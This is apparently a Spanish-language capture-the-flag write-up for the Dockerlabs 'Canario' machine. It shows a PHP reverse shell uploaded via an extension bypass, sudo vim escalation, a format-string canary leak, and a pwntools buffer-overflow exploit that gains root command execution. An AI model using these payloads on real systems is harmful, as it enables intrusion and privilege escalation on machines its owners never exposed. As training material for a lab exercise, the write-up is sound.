NovaHacking
  • Whoami
  • Artículos
    • Panamá Papers
    • Tratamiento para la TTY
    • Introducción a la Ciberseguridad
    • Introducción al Buffer Overflow
    • Introducción al Pivoting
    • IDS - IPS (Suricata)
    • Colisión de Hash
    • RSA Cracker
  • Herramientas
    • Explotación
      • Hydra
      • pwncat-cs
    • Reconocimiento
      • Nmap
      • Arp scan
  • CTF
    • Dockerlabs
      • Amor
      • BreakMySSH
      • DockHackLab
      • FirstHacking
      • sjd
      • WhereIsMyWebShell
      • Dark
      • Queuemedic
      • Buffered
      • Pn
      • Canario
      • Domain
      • HereBash
  • Linux
    • 🐧Inicio Linux
Powered by GitBook
On this page
  1. CTF
  2. Dockerlabs

Canario

TAG -> Dockerlabs | CTF

PreviousPnNextDomain

Last updated 20 days ago

Datos
  • Máquina -> Canario

  • Dificultad -> Difícil

  • Creador ->

Después de desplegar el contenedor, podemos usar el comando ping para verificar conectividad con el servidor:

ping -c 1 172.17.0.2 -R

Resultado

PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.118 ms
RR: 	172.17.0.1
		172.17.0.2
		172.17.0.2
		172.17.0.1

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.118/0.118/0.118/0.000 ms

Como podemos ver en el resultado, tenemos conexión con la victima, ademas mediante el TTL podemos intuir contra que tipo de SO nos estamos enfrentando, en este caso Linux.

Lo siguiente que aremos en crear varias carpetas que nos ayudaran a mantener un orden en lo que vallamos encontrando, esto lo aremos con el comando mkt:

mkt && tree

Resultado

.
├── auto_deploy.sh
├── canario.tar
├── content
├── recognition
│   ├── fuzzing
│   └── nmap
└── scripts
    ├── exploitDB
    └── GitHub

8 directories, 2 files

Nos moveremos a la carpeta recognition/nmap y empezaremos en los escaneos:

nmap -p- --open -sS --min-rate 5000 -n -v -Pn -sCV -oN targeted.txt 172.17.0.2

Resultado

# Nmap 7.95 scan initiated Fri Mar 14 11:42:09 2025 as: nmap -p- --open -sS --min-rate 5000 -n -v -Pn -sCV -oN targeted.txt 172.17.0.2
Nmap scan report for 172.17.0.2
Host is up (0.0000030s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 14 11:42:16 2025 -- 1 IP address (1 host up) scanned in 7.00 seconds

Solo esta el puerto 80 abierto, podemos ir a ver la pagina web para saber que contiene:

Esta es la pagina web que encontramos de primera, tiene una barra donde: Inicio nos manda al index.html principal, Contactar no tiene nada y Subir archivo es probablemente y lo único que por ahora podemos explotar, intentemos subir un RCE.

Codigo

<?php
system("/bin/bash -c 'bash -i >& /dev/tcp/172.17.0.1/1234 0>&1'");
?>

El nombre del archivo es rshell.php, intentemos subir el archivo:

Al presionar Subir Archivo, nos encontramos con lo siguiente:

Deberemos ir probando diferentes extensiones php, hasta encontrar una que nos permita subir ejemplo -> phtml, quedaría: rshell.phtml.

Ahora nos pondremos en escucha en el puerto 1234 en mi caso usando pwncat-cs:

Ahora podemos probar la ruta uploads junto con el nombre de nuestro RCE:

http://172.17.0.2/uploads/rshell.phtml

Se queda cargando la pagina, pero si nos dirigimos a pwncat podremos ver una conexión entrante:

Ya estamos dentro, ahora intentemos escalar privilegios, pwncat tiene muchos módulos de enumeración, usare algunos de ellos antes de entrar a la reverse shell.

Enumero los distintos usuarios del servidor y entro a una Bash del servidor para ejecutar el comando whoami el cual me dirá que usuario soy:

Podemos ver que hay un usuario llamado jerry y que nosotros somos www-data.

No veo binarios SUID útiles por lo cual entrare al servidor para enumerar formas de convertirnos en el usuario jerry.

Enumerando un poco, veo varias cosas interesantes:

  • Podemos ejecutar vim como el usuario jerry sin proporcionar contraseña.

  • jerry puede ejecutar /opt/suma y /usr/bin/python3 /opt/command_exec/command_exec.py como root sin contraseña.

Usando searchbins podemos ver como podemos aprovecharnos de el binario vim:

El comando que usaremos es:

sudo -u jerry vim -c ':!/bin/bash'

Resultado

Ahora debemos buscar una manera de aprovecharnos de los siguientes binarios:

Podemos descargarnos estos binarios para usar ingeniería inversa, esto lo podemos hacer mediante el modulo download:

Primero veamos que podemos hacer con el binario suma, paso el binario a un contenedor Kali Linux el cual tiene todo lo necesario para hacer ingeniería inversa:

Podemos verificar información sobre el binario con el comando file:

file suma

Resultado

suma: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7b738303bcd3d9d31e21e597b0a8a0d14ffc509d, for GNU/Linux 3.2.0, not stripped

Como podemos apreciar en la salida del comando, es un binario para Linux de 64 bits.

Usando checksec podemos ver que tiene 2 protecciones:

  • STACK CANARY: Usa valores aleatorios para detectar sobrescrituras de buffer antes de afectar la ejecución.

  • NX (No eXecute) -> NX enabled: Previene la ejecución de código en segmentos de memoria marcados como datos (como la pila).

Por otro lado podemos ver que no tiene PIE por lo cual el binario tiene direcciones de memoria fijas, entonces nos encontramos frente a un Canary Bypass.

En cuanto al otro script command_exec.py podemos ver que su contenido es el siguiente:

#!/usr/bin/python3

import os, sys

def main():

    with open("/opt/command_exec/flag.txt", "r") as flag_file:

        content = flag_file.readlines()[0]

        if content == "ACTIVE":

            print("Autorizado\n")

            cmd = input("Escribe un comando: ")

            os.system(cmd)

        else:

            print("Denegado")
            sys.exit(1)


if __name__ == '__main__':

    main()

El script abre el archivo /opt/command_exec/flag.txt , y si su contenido es "ACTIVE", nos deja ejecutar un comando. El archivo flag.txt vale "INACTIVE", por lo que no nos deja ejecutar comandos. No tenemos permisos de escritura en el archivo flag.txt , ni en /opt , por lo que en esta parte no podemos hacer nada por el momento, por lo tanto procedemos a seguir indagando en el binario suma:

Si lo ejecutamos podremos ver lo siguiente:

Nos pide un nombre, nos saluda y luego nos pide una clave para acceder posiblemente a una calculadora, ingreso key, pero no es correcto, podemos usar el comando strings para ver si encontramos la contraseña en los caracteres imprimibles del binario:

strings suma

Resultado relevante

Encima de la linea que dice Acceso garantizado podemos ver una posible contraseña en texto plano:

x8-_7vjw-0#0l-9.AA$_$p3bA!

También podemos ver posibles funcionalidades del binario, donde nos pide 2 números, por ultimo también podemos notar 2 lineas interesantes y posiblemente lo que debamos lograr:

Flag activada
/opt/command_exec/flag.txt
ACTIVE

Procedemos a ver el binario con GDB y buscar las funciones que contiene el binario:

gdb ./suma -q

Dentro de gdb:

info functions

Resultado

Hay una función llamada set_flag que llama la atención, intentemos ver que hace, primero podríamos usar disas de gdbb:

Con esto podemos ver en ensamblador, que cosas esta haciendo por detrás, para este caso en particular, tendremos que ir más aya, por lo tanto usaremos ghidra para hacer ingeniera inversa:

Después de crear un proyecto y añadir el binario suma a ese proyecto de ghidra entraremos al CodeBrowser, le diremos que si lo analice de tal forma que quedaría así:

En la parte izquierda buscaremos la ventada que dice Symbol Tree, dentro de esa ventana vamos a expandir la carpeta Functions y dentro buscaremos la función set_flag, cuando lo presionemos, veremos como a la derecha se nos muestra el posible código c antes de ser compilado:

Esta función abre el archivo /opt/command_exec/flag.txt y escribe ACTIVE. Si pasara esto, podríamos ejecutar el script de python3 que vimos anteriormente y ejecutar cualquier comando como root, pero si ahora vemos la función main:


undefined8 main(void)

{
  int iVar1;
  size_t sVar2;
  long in_FS_OFFSET;
  int local_168;
  int local_164;
  undefined4 local_15f;
  undefined4 uStack_15b;
  char local_118 [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setuid(0);
  setgid(0);
  local_15f = 0x616c6f48;
  uStack_15b = CONCAT13(uStack_15b._3_1_,0x202c);
  sVar2 = strcspn((char *)&local_15f,"\n");
  *(undefined *)((long)&local_15f + sVar2) = 0;
  memset(local_118,0,0x100);
  memset((void *)((long)&uStack_15b + 3),0,0x40);
  puts("Escribe su nombre:");
  fgets((char *)((long)&uStack_15b + 3),0x40,stdin);
  printf("%s",&local_15f);
  printf((char *)((long)&uStack_15b + 3));
  puts("\nEscribe la clave para acceder a la funcionalidad del software:");
  gets(local_118);
  iVar1 = strcmp(local_118,"x8-_7vjw-0#0l-9.AA$_$p3bA!");
  if (iVar1 == 0) {
    printf("\nAcceso garantizado");
    puts(&DAT_004020c8);
    printf(&DAT_004020f6);
    __isoc99_scanf(&DAT_00402112,&local_168);
    printf(&DAT_00402115);
    __isoc99_scanf(&DAT_00402112,&local_164);
    printf("Resultado: %d",(ulong)(uint)(local_164 + local_168));
  }
  else {
    printf("Acceso denegado");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

Notaremos que nunca se llama a la función set_flag, de tal modo que debemos buscar la manera de llamar a esta función mediante una vulnerabilidad presente en el binario, viendo la función main, que nos muestra ghidra, podremos notar lo siguiente:

  puts("\nEscribe la clave para acceder a la funcionalidad del software:");
  gets(local_118);

La variable donde nos pide la clave se guarda con gets el cual es vulnerable a Buffer Overflow.

Problema: El binario tiene canarios, esto impide que explotemos el Buffer Overflow de forma convencional.

¿Por qué?: Si hacemos lo anterior, se va a llamar a una función especial que va a terminar rápidamente la ejecución del programa.

Esto ocurre porque en el stack, se almacena un canario al inicio de main() y se le da un valor aleatorio, al final de main() se comprueba si el canario sigue valiendo el mismo valor, de tal modo que si a cambiado, se llama a la función especial ya que esto significa que se a acontecido un Buffer Overflow y se han sobrescrito los datos del stack.

¿Qué podemos hacer?: Si de alguna manera lográramos leer datos del stack antes de que se llame a gets() podríamos bypassear el canario.

¿Qué haremos?: El primer input se almacena de forma segura, pero luego se llama a:

printf("%s",&local_15f);
printf((char *)((long)&uStack_15b + 3))

La primera línea está bien, el problema es la segunda línea, usa la entrada del usuario directamente sin especificar un formato seguro.

Se le pasa como primer argumento el input, esto origina una Format String Vulnerability, ya que printf() toma el input como formato. Esto nos permite incluir especificadores de formato, como:

%s , %p ...

Vamos a probar lo siguiente, como nombre pasaremos %p:

Lo que nos devuelve:

Hola, 0x202c616c

¿Qué paso?: Se llamo a printf("%p"), por lo que se espera un segundo parámetro que sea un puntero, pero como no hay, ese valor se saca del stack, de esta manera podemos ir leyendo uno a uno los datos del stack, Ejemplo -> %1$p, %2$p...

Sabiendo esto, podemos crear un script que haga Fuzzing y lea x valores del stack, con el objetivo de buscar cual podría ser el canario y así quedarnos con la posición de este, luego al acontecer el Buffer Overflow poder sobrescribir el canario del stack con su valor inicial.

fuzzing.sh

#!/bin/bash

for i in $(seq 1 100); do
    resultado=$(echo "%${i}\$p" | ./$1 2>/dev/null)
    direccion=$(echo "$resultado" | grep -oP "Hola, \K0x[0-9a-fA-F]+")
    if [ -n "$direccion" ]; then
        echo "[+] -> $i : $direccion"
    fi
done

Con este script, leemos 100 valores del stack, el siguiente paso es identificar el canario lo cual no es tan difícil, ya que el canario suelen acabar en 00, ademas de que son números aleatorios, a diferencia de las direcciones de libc que suelen ser 0x7ff, sabiendo esto podemos agregar una ultima línea a nuestro script y filtrar lo que queremos con grep.

Código final

#!/bin/bash

for i in $(seq 1 100); do
    resultado=$(echo "%${i}\$p" | ./$1 2>/dev/null)
    direccion=$(echo "$resultado" | grep -oP "Hola, \K0x[0-9a-fA-F]+")
    if [ -n "$direccion" ]; then
        echo "[+] -> $i : $direccion" | grep -oE ".*?[0-9a-f]{14}00"
    fi
done

Resultado

Nos arroja 2 resultados, podemos elegir cualquiera aunque tenga valores distintos, ya que en tiempo de ejecución acaban valiendo lo mismo.

Lo siguiente que necesitamos para que se acontezca el Buffer Overflow, es el offset para sobrescribir el canario y el offset para sobrescribir la dirección de retorno, estos valores ya los vimos en la función main() dentro de ghidra:

Lineas importantes de main()

char local_118 [264];

Podemos ver que el buffer vulnerable es de 264 bytes y es local_118, En la imagen podemos ver que este buffer esta en el offset -0x118, que son 280 bytes, podemos ver que justo encima del buffer esta local_10, que es el canario, lo sabemos porque en el código vemos que esta variable se le da un valor al principio y se comprueba su valor al final y si no es igual se llamada a stack_chk_fall().

long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);

...

  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }

Entonces como el canario está encima del buffer, si escribimos 264 bytes, los siguientes 8 bytes sobrescriben el canario.

El canario vale 8 bytes porque el binario es de 64 bits, de ser 32 bits el canario valdría 4 bytes.

280 - 264 - 8 = 8

Es decir que nos quedan otros 8 bytes para llegar a la dirección de retorno, Después de hacer todo esto sabemos que el offset para sobrescribir el canario es de 264 y el de sobrescribir el RIP es 8.

De tal forma que el exploit final quedaría así:

#!/usr/bin/python3

from pwn import *

def main():

    def start():
        if args.GDB:
            return gdb.debug(filename, gdbscript=gdbscript)
        elif args.REMOTE:
            return remote(sys.argv[1], sys.argv[2])
        else:
            return process(["sudo", filename])
    filename = "/opt/suma"

    elf = context.binary = ELF(filename, checksec=False)
    context.log_level = "error"

    gdbscript = """
    """

    canary_offset = 264
    rip_offset = 8

    p = start()
    p.sendlineafter(b':', b'%69$p')
    p.recvuntil(b'Hola, ')
    canary = int(p.recvline().strip(), 16)

    payload = flat(
            b'A'*canary_offset,
            canary,
            b'A'*rip_offset,
            elf.functions.set_flag
    )

    p.sendlineafter(b':', payload)
    print(p.recvall())
    p.close()


if __name__ == '__main__':
    main()

En el servidor vulnerado ejecutamos:

pip3 install pwntools --break-system-packages

Esto descargara pwntools ya que esta librería no esta presente en el servidor, ya por ultimo pasamos el exploit a /tmp/ y lo ejecutamos, luego ejecutamos el script command_exec.py como root.

Resultado

4bytes